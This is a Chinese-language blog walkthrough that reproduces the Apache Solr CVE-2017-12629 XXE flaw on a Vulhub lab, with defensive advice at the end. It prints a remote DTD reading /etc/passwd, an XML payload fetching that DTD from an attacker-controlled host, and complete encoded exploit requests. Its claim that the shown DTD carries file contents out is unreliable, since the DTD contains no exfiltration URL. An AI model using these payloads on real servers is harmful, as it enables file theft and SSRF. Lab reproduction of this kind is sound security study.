Apache Solr CVE-2017-12629 XXE 漏洞复现与利用(基于 Vulhub)

深入剖析 Apache Solr CVE-2017-12629 XXE 漏洞(基于 Vulhub)

一、前言

CVE-2017-12629 是一个影响 Apache Solr 的 **XML 外部实体注入(XXE)**漏洞,允许攻击者通过构造恶意的 XML 输入,加载外部实体或敏感文件,从而导致信息泄露或进一步攻击。该漏洞难度中等偏上,需要结合远程 DTD(文档类型定义)加载和外带技术进行利用。本文基于 Vulhub 靶场和 Kali Linux 环境,详细复现该漏洞,涵盖环境搭建、原理分析、利用流程及防护建议,旨在帮助安全从业者深入理解 XXE 漏洞的危害与利用方式。

本文将重点讲解:

  • 漏洞触发原理及利用链
  • 远程 DTD 构造与外带攻击
  • 完整的攻击请求构造与验证
  • 防护措施与注意事项

二、漏洞概述

  • 漏洞编号:CVE-2017-12629
  • 漏洞类型:XXE(XML External Entity Injection)
  • 影响版本:Apache Solr < 7.1.0
  • 测试平台:Vulhub + Kali Linux
  • 难度:中等偏上(需构造远程 DTD 和外带攻击)
  • 危害
    • 读取服务器敏感文件(如 /etc/passwd
    • 触发内网资源访问,潜在导致 SSRF
    • 结合其他漏洞进一步提权或控制服务器

三、环境搭建

1. 前提准备

确保以下环境已就绪:

  • 操作系统:Kali Linux
  • 网络配置
    • NAT 模式(访问外部网络)
    • 仅主机模式(Host-Only,Kali IP:192.168.56.1,靶机 IP:192.168.56.102
  • 工具
    • 已安装 Docker 和 Docker Compose
    • Burp Suite(用于抓包和构造请求)
    • Python3(用于托管 DTD 文件)
  • 靶场:Vulhub 的 Apache Solr CVE-2017-12629 环境
    • 访问地址:http://192.168.56.102:8983/solr/#/
    • 确保靶场已成功部署(参考 Vulhub 官方文档或前文)

2. 启动 Vulhub 靶场

  1. 克隆 Vulhub 项目(若未下载):
    1
    2
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/solr/CVE-2017-12629
  2. 启动 Docker 容器:
    1
    docker-compose up -d
  3. 验证环境:
    • 访问 http://192.168.56.102:8983/solr/#/,若看到 Solr 管理界面,说明部署成功 。
  4. 管理容器:
    • 查看容器:
      1
      docker ps
    • 停止容器:
      1
      docker-compose down

四、漏洞原理

1. XXE 漏洞简介

XXE(XML External Entity Injection)是一种 XML 解析器漏洞,攻击者通过注入恶意 XML 实体,诱导解析器加载外部资源(如本地文件或远程 DTD),从而实现文件读取或网络请求。Apache Solr 的查询接口允许用户提交 XML 格式的参数,且未禁用外部实体解析,导致 XXE 漏洞。

2. 漏洞触发点

Solr 的漏洞入口位于以下接口:

1
/solr/demo/select?q=<XML_Payload>&wt=xml&defType=xmlparser
  • 参数说明
    • q:查询参数,接受 XML 格式的输入。
    • wt=xml:指定响应格式为 XML。
    • defType=xmlparser:启用 XML 解析器,触发 XXE。

3. 漏洞限制

  • 无回显:Solr 不直接回显实体内容(如 /etc/passwd),需通过外带(Out-of-Band, OOB)技术利用。
  • 外带攻击:通过构造远程 DTD,诱导 Solr 访问攻击者控制的服务器,从而间接读取目标文件。

4. 利用链

1
用户提交 XML Payload -> Solr XML 解析器解析 -> 加载远程 DTD -> 引用本地文件(如 /etc/passwd) -> 外带至攻击者服务器

五、漏洞利用流程

1. 初步访问与抓包

  1. 配置 Burp Suite:
    • 打开 Burp Suite,设置代理(默认:127.0.0.1:8080)。
    • 配置 Firefox 浏览器使用 Burp 代理。
  2. 访问 Solr 管理界面:
    1
    http://192.168.56.102:8983/solr/#/
  3. 在 Burp 中拦截请求,观察典型 GET 请求:
    1
    2
    3
    4
    5
    GET /solr/ HTTP/1.1
    Host: 192.168.56.102:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9
    Connection: close

2. 构造远程 DTD 文件

由于 Solr 不回显文件内容,需通过外带攻击加载远程 DTD。

步骤:

  1. 在 Kali(IP:192.168.56.1)上创建 DTD 文件 test1.dtd
    1
    2
    <!ENTITY % passwd SYSTEM "file:///etc/passwd">
    <!ENTITY % err "<!ENTITY errmsg SYSTEM 'file:///etc/passwd'>">
    说明
    • %passwd:定义实体,尝试读取目标服务器的 /etc/passwd
    • %err:嵌套实体,构造 errmsg 引用 %passwd,便于在 XML 中调用。
  2. test1.dtd 放入 Kali 的 HTTP 目录(如 /var/www/html/):
    1
    cp test1.dtd /var/www/html/
  3. 启动 HTTP 服务:
    1
    python3 -m http.server 80
    确保 DTD 可通过以下地址访问:
    1
    http://192.168.56.1/test1.dtd

3. 构造 XML Payload

创建以下 XML Payload,引用远程 DTD:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.56.1/test1.dtd">
%remote;
%err;
]>
<root>&errmsg;</root>

说明

  • <!ENTITY % remote SYSTEM "http://192.168.56.1/test1.dtd">:加载远程 DTD。
  • %remote;:执行 DTD 中的定义。
  • %err;:触发嵌套实体,尝试加载 /etc/passwd
  • &errmsg;:引用嵌套实体,诱导 Solr 解析。

4. URL 编码 Payload

由于 Payload 将通过 GET 参数 q 提交,需进行 URL 编码。使用 Python 脚本生成编码后的 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.56.1/test1.dtd">
%remote;
%err;
]>
<root>&errmsg;</root>'''

encoded_payload = urllib.parse.quote(payload)
print(encoded_payload)

示例输出(部分):

1
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%20%20%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2F192.168.56.1%2Ftest1.dtd%22%3E%0A%20%20%25remote%3B%0A%20%20%25err%3B%0A%5D%3E%0A%3Croot%3E%26errmsg%3B%3C%2Froot%3E

5. 构造最终攻击请求

使用 Burp Suite 的 Repeater 模块,构造以下 GET 请求:

1
2
3
4
5
GET /solr/demo/select?q=<Encoded_Payload>&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.56.102:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

完整示例(替换 <Encoded_Payload> 为实际编码结果):

1
2
3
4
5
GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%20%20%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2F192.168.56.1%2Ftest1.dtd%22%3E%0A%20%20%25remote%3B%0A%20%20%25err%3B%0A%5D%3E%0A%3Croot%3E%26errmsg%3B%3C%2Froot%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.56.102:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

6. 验证攻击效果

  1. 发送请求后,观察 Kali 的 HTTP 服务日志:
    1
    192.168.56.102 - - [01/Aug/2025 17:52:25] "GET /test1.dtd HTTP/1.1" 200 -
    如果看到 Solr(192.168.56.102)访问了 test1.dtd,说明 DTD 被成功加载。
  2. 由于 Solr 不回显 /etc/passwd 内容,攻击成功仅表现为 DTD 请求到达攻击者服务器,间接证明 XXE 触发。

六、原理深入分析

1. 利用链条

  • 用户输入:提交包含外部实体的 XML Payload。
  • Solr 解析defType=xmlparser 触发 XML 解析器处理 q 参数。
  • 加载 DTD:解析器访问远程 DTD(http://192.168.56.1/test1.dtd)。
  • 引用文件:DTD 中的实体尝试加载本地文件(如 /etc/passwd)。
  • 外带请求:通过嵌套实体,Solr 发起对攻击者服务器的请求,携带文件内容或触发日志。

2. 关键点

  • defType=xmlparser:启用 Solr 的 XML 解析器,是触发 XXE 的核心。
  • 远程 DTD:绕过 Solr 无回显限制,通过外带技术验证文件读取。
  • 嵌套实体:通过 %err&errmsg; 构造复杂实体链,确保文件被引用。

3. 限制与挑战

  • 无回显:需依赖外带技术,增加利用复杂度。
  • 网络限制:目标服务器需允许出站 HTTP 请求,否则 DTD 无法加载。
  • DTD 构造:需要精确定义实体,避免解析错误。

七、防护建议

  1. 升级 Solr 版本

    • 升级到 Apache Solr 7.1.0 或更高版本,官方已修复 XXE 漏洞。
    • 定期检查 Solr 更新,应用最新补丁。
  2. 禁用 XML 解析器

    • 禁用 defType=xmlparser,或限制对 /solr/demo/select 接口的访问。
    • 在 Solr 配置文件中关闭不必要的查询解析器。
  3. 限制出站网络请求

    • 配置防火墙,阻止 Solr 实例访问外部 HTTP 资源。
    • 使用网络策略(如 iptables)限制出站流量。
  4. 启用 WAF

    • 部署 Web 应用防火墙,检测包含 <!DOCTYPE<!ENTITY 的 XML 请求。
    • 配置正则规则,拦截潜在 XXE Payload。
  5. 安全编码

    • 在开发中禁用 XML 外部实体解析,例如:
      1
      2
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    • 使用安全的 XML 解析库(如 SAX 或 DOM4J)。
  6. 日志监控

    • 定期检查 Solr 日志,关注异常的 XML 解析请求。
    • 监控出站网络流量,及时发现外带攻击。

八、总结

项目 信息
漏洞编号 CVE-2017-12629
漏洞类型 XXE(XML 外部实体注入)
影响版本 Apache Solr < 7.1.0
利用方式 远程 DTD + 外带攻击
关键点 defType=xmlparser 触发 XML 解析
测试平台 Vulhub + Kali Linux
危害 敏感文件读取、内网探测

Apache Solr CVE-2017-12629 XXE 漏洞展示了 XML 解析器开放外部实体解析的严重安全隐患。虽然利用过程因无回显和网络限制较为复杂,但通过远程 DTD 和外带技术,攻击者可成功读取目标服务器的敏感文件(如 /etc/passwd)。开发者应及时升级 Solr 版本、禁用不安全的解析器、限制出站请求,并配合 WAF 和日志监控,构建多层次防御体系。

免责声明:本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。

“渗透测试的艺术在于:构造、验证、提权、保持优雅”


Apache Solr CVE-2017-12629 XXE 漏洞复现与利用(基于 Vulhub)
https://bae-ace.github.io/2025/08/01/Apache-Solr-CVE-2017-12629-XXE-漏洞复现与利用(基于-Vulhub)/
作者
bae
发布于
2025年8月1日
许可协议